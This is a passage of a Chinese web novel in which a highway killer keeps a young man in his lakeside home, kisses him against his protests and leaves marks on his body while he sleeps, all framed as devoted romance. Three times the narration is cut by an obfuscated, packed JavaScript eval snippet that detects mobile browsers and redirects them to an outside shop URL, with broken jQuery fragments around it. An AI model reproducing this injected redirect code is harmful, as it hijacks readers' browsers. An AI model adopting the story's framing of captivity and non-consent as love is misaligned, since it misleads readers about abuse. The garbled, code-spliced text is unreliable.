锈铁钉强忍着兴奋,咬住自己的嘴肉,转头从衣柜里翻出一件自己的旧T恤,递给郗涟:“今晚先穿我的凑合吧。” 郗涟看着那件明显宽大许多的衣服,眉头微微蹙起。 锈铁钉看出郗涟的抗拒,将人一把抱起,视线灼灼地盯着他乌黑的眼眸道:“如果害羞的话,我可以帮你换,怎么样?” 郗涟挣了挣,最终还是妥协,“不、不用了。我自己来吧。” 事到如今,就这样吧! 不管对方是戏弄自己还是另有打算,随他去吧! 反正他什么都做不了…… 锈铁钉看着郗涟一脸自暴自弃地抱着自己的衣服往一楼浴室的反向走,他也不紧不慢地跟了上去。 也不知道小甜甜穿自己的衣服会是什么样子的…… 他站在后方打量着郗涟的背影,直至看着郗涟走进浴室,这才转身坐到客厅的沙发,随后打开电视机,随意得找了一个无聊至极才会看的恐怖片频道。 浴室里的郗涟皱着眉头地打量着浴室,又看了眼怀中锈铁钉给的衣服,这衣服比自己的大太多了根本不合身,但是没办法…… 郗涟抱着衣服沉默了几秒,随后将衣服放在了铁架上。 紧接着浴室里开始隐隐约约地传来淅淅沥沥的水声,门外的锈铁钉不受控制地侧耳倾听。 电视屏幕上的杀人魔高高举起了电锯,但他脑海中清晰浮现的,却是另一幅活色生香的画面。 锈铁钉不知觉地幻想起了小甜甜浑身湿透的模样。 温热的水流会打湿小甜甜那头太柔软的黑发,顺着纤瘦脆弱的脖颈滑下,流过那片白皙单薄的肩胛,再沿着脊椎凹陷的曲线蜿蜒而下……那双总是带着戒备或迷茫的眼睛,染上湿润的雾气…… 锈铁钉想着,无意识地喉结滚动了一下。 与此同时,一股强烈的灼热感立马从下腹深处窜起。 ‘啧,也太着急了吧?’他在心里暗骂一句,马上换了个坐姿,甚至开始强迫自己将注意力集中在电视屏幕上飞溅的血浆与刺耳的惨叫声上,试图用那些激烈的画面驱散脑海里不断浮现的危险画面。 但浴室里持续传来的水声,不断缠绕着他的听觉,干扰着他的意志。 锈铁钉靠在沙发上沉思了几秒,忽然站起身,大步走向厨房。 他想起他的小甜甜好像很久没正经吃过东西了。 得去准备点什么才行。 ———————————— 浴室里。 郗涟潦草地洗漱了一番,换上了锈铁钉给的衣服。 他照了照镜子,这衣服明显大了一圈,袖口遮住了手背,衣摆都到了自己的大腿,穿在身上空空荡荡的像极了偷穿大人衣服的小孩。 郗涟根本不好意思这样走出来,只好在浴室里面磨磨蹭蹭了一会,他没想到的是锈铁钉一直靠着门外的墙面等。 浴室里的水声淅淅沥沥的,停了又响,停了又响,断断续续磨得锈铁钉心里发痒。 不过他也不着急,毕竟等小甜甜,他愿意一直等。 很快浴室门锁响了。 锈铁钉看了过去,门被拉开了一道缝,郗涟探出了一个头,直接就看到了靠在门外的男人。 郗涟:“!”为什么一直在这里站着! 锈铁钉的眼神瞬间暗沉了下去,真是该死,那种暴烈的冲动感又来了,甚至比之前任何一次都要强烈。 自己心心念念的小甜甜穿着自己的衣服,露出纤细的脚踝,发梢湿漉漉地贴在脖颈和额角。脸颊被热气蒸腾出粉色,蔓延到锁骨,裸露的皮肤在灯光下泛着莹润,简直就是刚剥了壳的荔枝果肉。 那粉嫩羞涩的模样让锈铁钉恨不得直接上去咬一口,直接将人揉进怀里吞入腹中。 郗涟被锈铁钉的眼神给吓到了,他总觉得对方下一秒就会和角落的那只大狗一样扑上来。 锈铁钉看出小甜甜看起来还是很害怕自己,主动走了过去,接过郗涟手里半湿的毛巾,小心地帮郗涟擦拭着半湿气的黑发,“饿了吗?正好我刚刚煮了一些东西,希望你会觉得不错。” “不、不用了。那个,我自己来就好。”郗涟想拿回毛巾,锈铁钉却没给他机会。 “我帮你,不用介意。” 郗涟:“……” 锈铁钉小心地擦拭着郗涟的头发,动作笨拙又谨慎。 他从没帮人做过这种事,手上不敢用力,生怕弄疼了他的小甜甜。 可擦着擦着,看着怀里人湿漉漉、一脸顺从的模样,一股冲动毫无预兆地涌了上来。 他手臂一收,直接将人整个抱起,牢牢搂进了自己怀里。 郗涟被这突如其来的举动吓了一跳,身体瞬间僵住。 紧接着,他感觉锈铁钉忽然低下头,鼻尖贴近自己颈侧的皮肤深深地吸了一口气。 温热的气息拂过敏感的皮肤,激起一阵细小的战栗。 郗涟一动不敢动,他不知道锈铁钉这又是怎么了。 锈铁钉根本控制不了自己! 明明两人用的是同一瓶沐浴露,可为什么用在小甜甜身上,就像最烈的催-情剂,一靠近能让他瞬间肌肉紧绷,兴奋得几乎要发疯。 他知道自己的动作可能吓到对方了,于是立刻转移话题说道:“我抱你去吃饭,我记得你很久没吃东西了,别饿着了。” 锈铁钉克制着没有进一步动作,就这么抱着人,起身挪到餐桌边,将郗涟放在自己腿上面对餐桌。 他一只手依旧牢固地环在郗涟腰间,将人按向自己,另一只手则拿起桌上准备好的勺子,从碗里舀起一勺汤,递到了郗涟的唇边。 郗涟一时间没反应过来,他背靠着男人坚硬灼热的胸膛,腰被对方的手臂紧紧箍着,唇边是抵上来的勺子……这是在干什么? 他的脸不自觉地红了起来,小声说:“我自己来吧。” 锈铁钉从上方盯了郗涟有好一会,随后将勺子递了过去,却丝毫没有起身的意思。 就这么抱着郗涟。 郗涟尴尬地喝了几口锈铁钉做的奶油汤,味道其实还挺不错的,但是被锈铁钉这样毫不掩饰地看着,他感觉自己吃的每一口都像在吞咽对方的目光。 “好吃吗?”锈铁钉声音低沉地问。 “……好吃。” 郗涟尴尬地笑了笑,随后小声说:“我吃不下了,就这样吧。谢谢你了。” 锈铁钉盯着他看了一会,声音沙哑地开口:“那下次,你做给我吃吧。” “啊?哦、哦……我知道了。” 郗涟脑袋闪过了不少美食,他会的不多,但是简易的蛋炒饭还是可以的。 锈铁钉见郗涟没有拒绝,低笑着地对着他说道:“小甜甜,我有很多东西……你想要什么,我都可以给你。” 郗涟有点不敢听锈铁钉后面的话,立马小声地打断道:“那,那我现在想休息,可以吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070175|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “当然了。”他声音放得很轻,“你是老大,你说了算。” 到了晚上锈铁钉确实遵守了承诺,晚上睡觉的时候没有做任何越界的举动。 他只是将郗涟圈在怀里,手臂横在腰际,体温透过单薄的衣料传递过去。 怀中的郗涟实在太累了。 这几天的担惊受怕和长时间坐车几乎抽干了他的精力,郗涟很不习惯有人抱着自己睡觉,但是因为太累太累,而且还被一股热火炉抱着暖暖的,他的意识逐渐下沉,很快就睡了过去。 可抱着他的锈铁钉一点都睡不着。 窗帘缝隙里漏进一丝稀薄的月光,刚好够他看清怀中人的脸。 锈铁钉看着郗涟毫无防备的睡脸,胸腔里莫名其妙有一种奇怪的满足感。 他这条在泥淖和血腥里打滚的野狗,居然叼住了一朵干干净净的小花,还妄想把对方捂进自己的怀里。 没救了,但他喜欢。 郗涟不知道睡了多久,也许是连续几天不曾安稳入睡,这一觉竟沉得让他直接睡到了下午。 醒来后没见到锈铁钉的踪影,他下意识先检查了身上的衣物,又转头看见床头柜上放着一套崭新的衣服。 看这包装,难道是锈铁钉趁他睡着时买的? 郗涟刚好奇地拿起那套衣服,卧室的门就被推开了。 锈铁钉叼着烟漫不经心地走了进来:“睡得好吗,甜心?” 见小甜甜正拿着自己早上出门买的衣服,他将烟从嘴里取下,笑着说道:“那衣服是我专门给你买的。要不要试试看?” 说话时,他的视线扫过郗涟的脖颈。 小甜甜果然没发现。 也是。 毕竟昨晚自己几乎没合眼,光是看着小甜心毫无防备地睡在自己怀里,一副全然依赖的模样,就让他血液沸腾,兴奋得毫无睡意。 自己几乎是用尽了所有的自制力,才克制住那些冲动。 结果就是天还没亮,他就起身出门了。 郗涟不知道该说些什么。 和一个陌生的男人,还是一直在公路上“追杀”他们的男人睡在一张床上,这发展怎么看都很奇怪…… “我,我要换衣服,你可以先出去一下吗?” “好。” 锈铁钉笑了笑,目光在他身上停留片刻,才转身带上了门。 郗涟确定门关上了,才稍稍松了口气拿起衣服换上。 他完全没注意到,自己的后背上、肩颈处,甚至腰侧,都布满了深浅不一的红痕。 有些是指痕,有些是吮吸留下的印记,这些痕迹在白皙的皮肤上格外的显眼。 郗涟匆匆换好衣服收拾了一下自己后推开了房门。 锈铁钉就站在门外。 他高大的身躯随意地倚靠着墙,双臂环抱。听见门响,他立刻转过头,目光看向投向郗涟。 锈铁钉舌尖不动声色地顶了顶上颚,压下心底翻腾的燥意。 他昨晚可是亲手一寸寸“量”过的,这衣服的尺寸当然再合适不过。 看到这套衣服的第一眼,他就觉得适合他的小甜甜。 果然,穿上去的效果比他想象的还要好。 真是要命。 看得他喉咙发紧,想把人弄坏的冲动蠢蠢欲动。 男人的眼神太直白,太过具有侵略性,让郗涟几乎是本能地僵住了。 锈铁钉见郗涟像只受惊的小动物般僵在原地,立马低笑着打破沉默:“没想到会这么合适,我做了好吃的,尝尝?” 郗涟迟疑片刻,还是点了点头同意了锈铁钉的要求。 16.Chapter 16 郗涟跟着锈铁钉来到厨房。 这次借着充足的光线,他总算看清了整个房子的装潢,没想到屋外竟有一个湖泊,湖水在阳光下泛着清澈的波光。 那只大狗正懒洋洋地趴在湖边晒太阳。 锈铁钉穿着黑色短袖,结实的胳膊裸露在外,正端着一盘刚剥好的水煮蛋。 蛋白光润完整,蛋黄还是溏心的。 他很少正经煮早餐,平日都是去便利店随便对付,但因为是郗涟,他愿意花时间折腾。 郗涟有些意外地接过早餐。 昨晚的奶油汤他还以为对方只会做那种西式简餐,没想到锈铁钉比他想象中要细致得多。 如果不会时不时抽风就好了。 还是和昨晚一样,锈铁钉会盯着自己吃饭。 郗涟有点不太懂男性的追求,都是这样的吗? 但他觉得肯定不是这样的,他也是第一次被一个男的,还是一个危险性很高的男人追求。 郗涟心想着,无视着锈铁钉的视线吃着早餐,虽然但是,做的确实很不错呢。 与此同时,客厅的电视正放着先前锈铁钉播放的新闻,突然插进了一跳紧急播报。 郗涟原本还没有什么反应,但是听到了熟悉的声音从电视中串出来,他下意识转头看了过去,发现画面中的人物是波比和梅尔。 波比腿上包扎着石膏,梅尔在一旁搀扶,他们站在警局门口,神情焦急地说着话。 郗涟没想到他们来找自己了。 锈铁钉放下刀叉,视线慢慢悠悠地从屏幕转到郗涟的脸上,语气随意地说道:“你的朋友们正找你呢,想回去吗?” 郗涟握着刀叉,不知道该说什么。 想回去吗?能回去吗? “我不知道。”郗涟小声地说道,声音轻得几乎都听不见。 “我不会让你走的。”锈铁钉的声音先是一沉,随即又软了下来,带着点笨拙的讨好意味:“我会对你很好的。我是说,我都听你的。你说了算。” 锈铁钉感觉自己说这些话好像没什么说服力。 不过没关系,他可以身体力行地告诉对方自己有多喜欢他。 他可以把一切都给他! 郗涟对着锈铁钉扯了扯嘴角,他知道自己肯定是走不了的,从目睹这个男人的行事方式起,他就明白了。 但是他自己迷茫地不是因为这件事情。 自己本来就不是这个世界的人,或许这样的结局,也不算最坏。 不过看到电视里朋友们都安然无恙,他也算放心了。 而且郗涟还有件事必须和锈铁钉说清楚。 “我是说,如果你想中途把我扔下,或者哪天觉得我没用了,就想处理掉我……”郗涟顿了一下,他觉得对方不可能会主动提这个事情,随后马上转移话题,“我可以留下来,但你要给我一点时间。还有你要记得你说过的话!” 锈铁钉愣住了。 小甜甜主动对他说留下来,那种认真表情。 这简直比最直白的告白更让他血脉贲张。 锈铁钉忽然低笑了一声。 笑声来得太过突然,把原本还在等他回复的郗涟吓了一跳。 还没等郗涟反应过来,他整个人就被锈铁钉拽了过去,毫无防备地跌坐在锈铁钉的大腿上,腰身被一双大手牢牢掐住。 那力道不轻,勒得郗涟很难受,他挣扎着。 下一秒,滚烫的吻就狠狠压了下来。 锈铁钉撬开郗涟的齿关,气息灼热而蛮横,带着不容抗拒的占有欲,几乎要夺走郗涟的全部呼吸。 郗涟甚至能感觉到对方手臂肌肉的紧绷和胸腔传来的灼热感。 “等等!”他终于挤出一点破碎的声音。 事情怎么会变成这样? 他明明在和对方好好沟通! 男人像是察觉到了他的分心,惩罚性地加重了力道,在他下唇不轻不重地咬了一下。 “唔……”郗涟疼得一颤,他下意识抬手想去推拒,手腕却在半空被一只灼热的大手截住,不由分说地拉到后背。 “我怎么可能会丢下你呢,你是独一无二的。” 锈铁钉又开心又生气,没想到小甜甜居然这样想自己,自己可是一眼就看中了他,喜欢得不得了。 男人的气息越来越重,动作也逐渐失了分寸。 完全受制的姿势让郗涟心慌。 紧接着,他的上衣被掀起,锈铁钉滚烫的呼吸毫无阻隔地烙了上来,激起一阵战栗。 “别,我不想这样,我不想……” 锈铁钉抬起头,眼底的暗潮尚未完全平息,但因为郗涟的拒绝,还是硬生生被他压了下去。 手老老实实地放回到郗涟的腰侧,他盯着青年被吻得湿红肿痛的唇角,喉结滚了滚,最终只是凑近,克制地亲了亲对方发烫的脸颊。 怎么连生气都这么可爱。 锈铁钉声音哑得厉害:“抱歉,我只是太高兴了。” 空气静了几秒,他闷闷地补了一句,像在自言自语:“这是我吃过最好的早餐。” 郗涟:“……” 这是什么鬼话,听得他耳根发烫,心里更是一片乱麻。 他就知道这个男人是个神经病,已经被亲了这么多次,郗涟也没办法。 他挣脱了一下,锈铁钉感知到对方的动作,立刻双开郗涟的手腕。 就见到小甜甜伸出手,手掌抵在锈铁钉结实温热的胸膛上,稍稍推开一点距离。 郗涟抬起头,努力让自己的表情看起来严肃又认真:“那你听着,你说你会听我的,第一条就是不许随随便便亲我!” 锈铁钉看着他绷紧的小脸和强装镇定的眼睛,眼底的笑意更深,从善如流地点头,语气甚至带着点哄人的顺从:“好好好,你是老大,我听你的。” 郗涟:“……” “那,你快放我下来!” 锈铁钉就听着郗涟的话将腰间的手松开,郗涟趁机从对方的怀里挣脱出来,站在一步开外的地方,强装镇定地看着锈铁钉。 他心里一点底都没有。 这种疯子的话能信吗? 上一秒还能对你笑嘻嘻的,谁知道下一秒会做出什么来。 这时,屋外那条大狗哒哒地跑了进来,径直冲向墙角一个半人高的塑料桶,里面看来装满了狗粮。 只见它熟练地咬住桶盖边缘,头一甩,盖子便被掀开,“哐当”一声滚落在地。 它随即埋头进去,心无旁骛地大口嚼咽起来,发出满咔咔地声响。 郗涟沉默了一下,不亏是对方养的狗,行为也是这么野性。 锈铁钉见郗涟不说话,只是站在原地,随后主动朝郗涟伸出手,掌心向上摊开,停在空中。 郗涟迟疑地望了望眼前高大的男人,眼中带着不解。 这是要做什么? 他犹豫片刻,还是轻轻将自己的手放了上去。 锈铁钉这次没有像之前那样用力攥紧,只是轻轻拢住那只手,低下头,在郗涟白皙的手背上,落下了一个克制而温柔的吻。 “走吧,宝贝。”他抬起眼,目光沉甸甸地落在郗涟脸上,“带你去买点用的。” 说完,便自然而然地牵着人,转身朝屋外走去。 郗涟被牵着往外走时,心跳快得厉害。 他不知道这样到底对不对。 这感觉,就像站在悬崖边上,试探着向前迈出一步,把一半的重量交给一个随时可能松手的疯子。 一路上郗涟都在思考这个问题。 锈铁钉将车停在一家大型购物中心不远处。 两人刚下车,便引来不少目光的打量。 一个身形高大、气质带着几分野性与阴鸷的男人,牵着一个样貌清隽、神情却明显拘谨的亚裔青年,这组合怎么看都有些扎眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078587|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但锈铁钉毫不在意,甚至嘴角还噙着一丝若有若无的弧度,心情显然不错。 他随手拉过一辆购物车,极其自然地侧过身,以一种看似随意实则充满占有意味的姿态,将郗涟护在自己与购物车之间。 那些或好奇或探究的视线,他全部感知到了,尤其是落在郗涟身上的。 每次有视线停留时间过久,锈铁钉都会抬眼,面无表情地看过去。 没什么表情,但是就是看得人心底发毛。 有不少视线悄悄在郗涟身上打转,可一碰上锈铁钉扫过来的眼神,又都慌忙移开了。 只有被他圈在方寸之间的郗涟知道,那只扶在购物车边沿的手,离自己的腰侧有多近。 周围的视线越来越多,郗涟耳根开始发烫。 和之前单纯的好奇不同,他只觉得这姿势太过暧昧,怎么看都不像是普通同行。 他可从没见过两个男人这样逛超市。 但对方是锈铁钉,郗涟想了想就这样随他去吧,反正不要再搞事情就好了。 超市内。 锈铁钉推着购物车,步子不紧不慢,看起来兴致颇高。 他伸手从货架上拿下一支包装精致的牙膏,转头问郗涟:“这个味道喜欢吗?” 语气自然得仿佛他们只是一对再普通不过的、出来采购的同居伴侣。 “额……你选就可以了。” 郗涟安安静静地跟着,锈铁钉每拿起一样东西都要转头问他:“这个喜欢吗?” “你定就好。”反正我也没钱。 锈铁钉挑了挑眉,“不行啊,你是我老大,万一我选的你不喜欢怎么办?” 郗涟:“……” 发展这么快,他怎么知道啊! 郗涟抿了抿唇,一时不知该回什么。 这时,不远处传来一对情侣激烈的争吵声,引来了周围不少人的侧目。 郗涟下意识转过头听了几句,似乎是其中一方出轨被当场抓了现行。 尖锐的指责与激动的辩驳混成一团,在空旷的商场里显得格外刺耳。 听着对方的话,郗涟眉头不自觉地微微蹙起,好吵…… 锈铁钉也自然注意到了那边的动静,他俯身在郗涟的耳边低声地说道:“如果是我,我可不会动自己人。但那个第三者,我会让他后悔被生出来,毕竟另一个我哪里舍得碰。” 郗涟感觉自己的耳根被那呼吸灼得发麻,转头看了眼对他挑眉的锈铁钉。 这和他有什么关系,而且说话靠这么近干什么! 锈铁钉笑了笑随后继续推着购物车,郗涟也只好跟了上去。 两人继续在货架间穿行。 说是“两人”,其实主要是锈铁钉在挑挑拣拣,毕竟他身上可是一分钱也没有。 郗涟看着身旁的男人对着购物架挑挑拣拣,胸口像被什么东西堵住了,沉甸甸地发闷。 可奇怪的是,在这份几乎令人窒息的无力感中,竟又悄然浮起一丝近乎认命的平静。 不知怎么了,郗涟忽然想起了先前锈铁钉说的那句话。 目光在那宽厚坚实的后背上停留片刻,下意识地说道:“锈铁钉,你可真变态!” 锈铁钉正挑着架子上的牛奶,闻言动作一顿,随即低低地笑了出来。 他早就注意到了小甜甜一直在看着自己,没想到看了这么久居然只是说这话吗? 锈铁钉转过身,脸上不见半点恼怒,反而像收到了某种特别的褒奖。 “好的,宝贝。”他欣然应下这个称呼,顺手将手里那盒牛奶举到郗涟面前,“我早上看广告老看到这个,我觉得你大概也会喜欢。” 郗涟瞥了一眼那包装,垂下眼睫。 他没想到锈铁钉一点也不生气,甚至得寸进尺地反驳,“要是我不喜欢呢?” “那我会努力让你喜欢。” “……哦。” 17. Chapter 17 等两人回到那栋湖边住宅时,天色都已经完全暗了下来,郗涟整个人通红地不知道该说什么,原本以为锈铁钉只会带自己去购物中心,没想到后面又去买了什么床单…… 郗涟依稀还记得那个店员看向他们打趣的眼神,让他很不好意思,不过更让他感觉很微妙的是,锈铁钉真的想和自己生活在一起吗? 他看着锈铁钉一个从车后拎着几个大小不一的袋子,里面大部分都是自己的衣物,还有一些是锈铁钉硬要买的东西。 中途郗涟想要帮忙,但是被锈铁钉挡了回去,他甚至笑着说道:“如果真的想帮忙不如晚上……” 一听到这个郗涟就不想搭理他。 锈铁钉挑了挑眉也没说什么,那只大狗摇着尾巴迎上来,蹭了蹭郗涟的裤脚。 郗涟有些害怕,但是见到这狗似乎不会攻击,小心地摸了摸。 锈铁钉随口说了一句:“记得洗手,我好像一个月多没给这狗洗澡了。” 郗涟:“……” 锈铁钉推开门,将购物袋随手丢在地上,便挽起袖子,利落地开始收拾。 他把买来的生活用品分门别类放好,新的床单被罩一股脑塞进洗衣机,又拎起拖把,潦草地拖了拖一楼客厅的浮尘。 他的动作算不上仔细,甚至有些粗枝大叶,与之前种阴鸷危险的气息形成了某种突兀的反差。 郗涟站在一旁,看着锈铁钉高大的背影忙来忙去,心里莫名冒出个不合时宜的念头,怎么看起来有点贤惠? 这个想法让他自己都打了个寒颤,连忙摇摇头甩开。 他怎么能这么想呢?! 郗涟没事干,默默走到到那堆购物袋旁,蹲下身开始在里面翻找自己的衣服。 这些衣服郗涟原本都不想买,可锈铁钉非要往购物车里塞,重点是他选的海都是一些粉嫩的颜色,好看是好看,但是郗涟不喜欢,难道自己在对方眼中是什么水果不成? 而且锈铁钉的态度异常认真,看起来真的好像就要这样和自己一起生活下去。 甚至还半开玩笑半威胁地提到如果自己不肯留在他的身边,他就要继续回头做他的公路杀手。 郗涟:“……” 又说道,自己既然遇见了命中注定的“小甜甜”,他就没打算松手。 总之,郗涟被他这番话说得怔住了,整个人都不自在起来。 强势又直白,他长这么大就没遇到过这样的人。 种种因素叠加起来,郗涟答应了。 答应试着和这个怎么看都写满危险的男人,建立起某种他尚且难以定义的关系。 其实早在对方说出“换朋友安全”那句话时,郗涟心里就已经隐约有了准备。 只是后来一直步步推进、反复确认这件事的始终是锈铁钉。 不过这不代表自己已经做好了立刻承受那种……亲密! 他需要时间,需要适应,需要……一步一步慢慢来。 毕竟他可从来都没想过自己会和另一个男人在一起,不过事情已经这样,他随遇而安吧。 郗涟蹲在购物袋边翻找自己的衣服,忽然碰到一个小盒子。 他有些好奇地拿起来看了一眼,随后整个人倏然僵住。 脸颊“轰”地一下烧了起来,连耳根与脖颈都迅速蔓延开绯色。 什么啊! 为什么会在他不注意的时候买这种东西…… 郗涟飞快地将那盒子丢回到袋子里,假装什么都没看到,抱着自己的衣服站起身准备离开客厅。 只是没想到刚一转身,就看到了锈铁钉斜倚着墙,双臂松松环抱,好整以暇地看向这边。 那双深色的眼睛在昏光里显得格外沉,视线稳稳落在郗涟烧红的脸上,又仿佛不经意地扫过那个刚刚被慌乱碰过的购物袋—— 被发现了。 郗涟感觉自己脸上的热度快要烧穿皮肤。 他尴尬得几乎想挖个地洞钻进去,手脚都不知道该往哪里放,只能把怀里的衣服抱得更紧,试图遮挡一点不存在的视线。 锈铁钉当然知道自己的小甜甜到底有多害羞,每次都逗得反驳不了,就只会睁着他那双乌黑的眼眸无辜地看着自己。 袋子里面有什么他在清楚不过。 毕竟那就是他自己亲手丢进去的。 不过看到小甜甜这幅惊慌失措,脸颊烧红的模样,锈铁钉心里充满了满足感。 郗涟看锈铁钉也不说话,强迫自己要稳定,不能被对方拿捏! 既然早上说了会听自己的话,那他就不能露怯! 他清了清嗓子,努力让声音听起来平静,甚至带上一点理所当然的意味:“我,我要一个自己的房间。” 话是这么说,但是目光却不敢与锈铁钉对视,只盯着对方身后的楼梯扶手。 锈铁钉脸上没什么表情,平淡地应道:“行啊。那你睡主卧,我去隔壁。” 郗涟愣住了,诧异地抬起头看向锈铁钉,这就同意了? 这么简单? 锈铁钉看着他一脸难以置信的表情,嘴角微微地勾了一下,“主卧床大点,舒服。” 其实主要是他打算趁今晚好好打扫一遍,既然要成为两个人共同的家,他总得让小甜甜住得舒心。 他的房间,自然也是小甜甜的房间。 郗涟还有些狐疑,却也不愿再“得寸进尺”,万一锈铁钉是真的同意呢?自己再追问反而显得不识好歹。 “……那谢谢了,还有你买的衣服。” 锈铁钉挑了挑眉。 他的小甜甜总是这么有礼貌,可爱得让人心软。 “不客气,”他声音低缓,带着点说不明的笑意,“谁让你是我的宝贝呢?” “额……”郗涟这下不知道该说什么好。 想到刚刚那盒“意外”,他猛地反应过来,“那我先上去整理这些衣服了。” “我帮你。” “不用不用!”郗涟抱着衣服,快步从锈铁钉身边走过,几乎是逃也似地上了楼梯,推开二楼左边的主卧门,迅速闪身进去,关上了门。 房间很大,陈设却简单到近乎空旷,一张宽大的床,一个衣柜,仅此而已。 可到处都有锈铁钉的痕迹,早知道他应该坚持要那间空着的次卧了…… 算了。 这样已经很好了。 门外锈铁钉看着郗涟逃窜的背影笑了笑,随后继续开始收拾屋内的卫生,但是目光不知觉得落在了那堆购物袋上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082256|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他顿了顿,伸手拿出让郗涟脸红心跳的盒子。 他垂下眼。 不知道什么时候能用上。 锈铁钉希望小甜甜能够不要害怕他,毕竟在他的心里小甜甜的独一无二的,和那些猪猡根本比斗不能比,可惜小甜甜太善良,总是会害怕。 他看了几秒盒子,随后拉开手边的抽屉将盒子丢了进去。 锈铁钉还在收拾着房屋。 他平时根本不会这么‘居家’,这栋房子对他而言更像一个偶尔回来歇脚的地点。 大多数时候他都喜欢开着卡车消失在漫长的洲际公路上,在无尽的黑夜和陌生的城镇间穿梭,寻找一些能刺激麻木感官的“乐子”。 去教训那些不长眼的挑衅者,或是自己撞上来的“猎物”。 但现在不一样了。 现在,他有小甜甜需要照顾。 锈铁钉拧干抹布,擦着桌台上的灰尘。 他得把这里收拾得像个能住人的地方,至少不能让他的小甜心觉得太糟糕。 等锈铁钉收拾完客厅和厨房,他环顾了一下四周,尽管很多物品大半都是新买的,但看起来就是让人很满足。 是时候该做晚饭了。 当然不能让小甜甜饿着,他大步朝着二楼走去。 楼上的郗涟正蹲在衣柜前,把购物袋里那些崭新的衣物一件件拿出来,挂进衣柜。 锈铁钉买的东西……实在太多了,而且出乎意料地合身,从里到外,一应俱全,甚至考虑到了不同场合和天气。 这种过分的周到让郗涟都无法反驳。 他正拿起一件价格不菲的长袖,房门忽然被敲响。 “笃、笃。” 郗涟动作一顿,下意识地将长袖抱在胸前,朝着门的方向问道:“怎么了?” 门把手转动,房门被推开一道缝隙。 锈铁钉高大的身影出现在门口,但他并没有直接进来,只是站在那里。 “甜心,我准备做饭,就差你了。” “啊?哦……” 郗涟点了点头,起身跟着锈铁钉往厨房的方向走。 锈铁钉走进洗手台,拧开水龙头,冰冷的水流冲刷着他骨节分明的手。 随后又从购物袋里拿出新买的食材,是一些简单的蔬菜,包装好的牛排还有意面。 锈铁钉回忆了一下这些菜品的做法,顺手从一旁拿着条印可笑小熊图案的新围裙。 当时觉得小甜甜戴上会很可爱才顺手买的,没想到自己先用上。 他转头看了眼坐在椅子上乖乖看着自己的郗涟,没事,这样也挺好的。 郗涟就听着锈铁钉的话,真的看着锈铁钉做饭。 围裙带子在他宽阔的肩背后系成一个有些勉强的结,看起来真的很不合适。 不过郗涟居然感觉对方的心情很好,就见到锈铁钉打开灶台,油在锅里发出细碎的噼啪声,他有些笨拙地将牛排滑进去,瞬间升腾起带着肉香的烟雾。 锈铁钉心情颇好地煮着属于他们两个的晚餐,之前明明觉得麻烦又无趣。 可只要“和小甜甜有关”,锈铁钉的心情就很愉悦! 属于他们的“美好生活”,就要开始了~ 18. Chapter 18【1.0番外篇】 今天,客厅只开了一盏壁灯,整个屋子光线昏暗,只在墙角投下一圈朦胧的光晕。 郗涟被锈铁钉从楼上拉下来时,还是一头雾水的状态。 他坐在餐桌边,出神地看着周围的一切。 铺在桌上的餐布被特地换成了粉色,上面还洒落着不少鲜红的玫瑰花瓣,桌上摆放整齐的刀叉餐具,以及那两根正静静燃烧的蜡烛,墙角还飘着一些心形气球。 郗涟环顾了一圈,每个地方都被重新装潢了一番,到处都充斥着浪漫的气息。 最让郗涟受不了的是,为什么桌上还摆着自己被锈铁钉按在墙上吻的照片…… 选什么不好非要选这张! 郗涟感到一股热气猛地冲上头顶,脸颊瞬间烧得通红。 看着周围这些被用心摆放的装饰,郗涟终于明白了为什么某人昨晚大半夜不睡觉,非要缠着他讨要奖励,把他折腾了一个晚上 原来是不想让他提前发现这一切…… 郗涟转过头,目光落在厨房里。 锈铁钉高大的背影正对着他,对方站在灶台前,正低头专注地对付着锅里的东西。 锅里蒸腾的热气氤氲上升,将那个平日充满压迫感的身影晕染得模糊而温和。 某种潮湿而陌生的情绪,也在这片氤氲中,悄然无息地漫上了心头。 距离那场噩梦已经过去了相当一段时间。 郗涟后来也和其他人重新取得了联系。 锈铁钉对朋友们造成的伤害实在太深,他在支付了一笔数额惊人的赔偿金后,波比和凯拉才勉强保持了沉默。当然,除了本,他的精神确实受到了难以愈合的创伤,至今仍在接受治疗。 梅尔也私下找过郗涟,告诫过他,和锈铁钉这样危险的人生活在一起,无异于与一颗不知何时会引爆的炸弹共眠。 郗涟是知道的。 而且他对这种事情是没有期待的,毕竟要一个以暴戾为乐的“变态”乖乖听话是件不可能的事。 他甚至做好了长期虚与委蛇的准备,可没想到,锈铁钉竟真的开始“改邪归正”,没再去碰那些危险的事情,反而越来越“贤惠”…… 一想到这里郗涟有点恍惚。 